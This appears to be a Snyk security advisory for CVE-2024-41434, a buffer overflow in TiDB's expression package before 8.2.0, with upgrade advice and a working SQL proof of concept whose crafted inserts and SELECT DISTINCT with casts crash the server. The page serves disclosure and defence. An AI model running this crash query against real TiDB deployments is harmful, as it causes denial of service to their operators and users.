Buffer Overflow Affecting github.com/pingcap/tidb/pkg/expression package, versions <8.2.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMPINGCAPTIDBPKGEXPRESSION-7888174
- published 4 Sep 2024
- disclosed 3 Sep 2024
- credit r33s3n6
Introduced: 3 Sep 2024
CVE-2024-41434 Open this link in a new tabHow to fix?
Upgrade github.com/pingcap/tidb/pkg/expression
to version 8.2.0 or higher.
Overview
Affected versions of this package are vulnerable to Buffer Overflow due to not checking the return type, when planer calls RemoveUnnecessaryFirstRow
. This could lead to database crashes and denial of service attacks.
PoC
create table t_ldpj7bp (
c_w_jr14qm2 int ,
c_t3nd927 int ,
c_ts int ,
c_s text ,
c_qchmg double ,
c_r int ,
c_olb3fsg6 text ,
c_zkbe tinyint ,
primary key(c_w_jr14qm2) NONCLUSTERED) shard_row_id_bits=8 pre_split_regions=5;
insert into t_ldpj7bp (c_w_jr14qm2, c_t3nd927, c_ts, c_s, c_qchmg, c_r, c_olb3fsg6, c_zkbe) values
(730552758, -682774206, 1698439632, 'lrvil359', 18446744073709551616.5, cast(cast(null as signed) as signed), 'oj1', (-1367510804 in (
2123597870, 1485484027))),
(-1001332962, -1396443960, cast(cast(null as signed) as signed), 'e43lh', 15.54, -1568307927, 'i', (-1162033997 not in (
-1850570375, -781179836, -1281662147, -431391092, cast(null as signed)))),
(-727295464, 1998529670, -1873237194, 'lps56o', 70.81, 1380690610, cast(null as char), ((NOT NOT(cast( (cast(cast(null as signed) as signed) && cast(2536017375093623800 as signed)) as unsigned))))
and ((NOT NOT(cast( (cast(2051320819 as signed) <=> cast(-8632453786780487783 as signed)) as unsigned))))),
(2133408768, 736339957, -1486317339, 'f', 62.97, -1444096406, 'tj', (NOT NOT(cast( (cast(cast(null as char) as char) = cast(cast(null as char) as char)) as unsigned))));
SELECT DISTINCT
cast(ref_4.c_w_jr14qm2 as signed) as c6,
cast(ref_4.c_w_jr14qm2 as decimal) as c8
FROM
t_ldpj7bp as ref_4;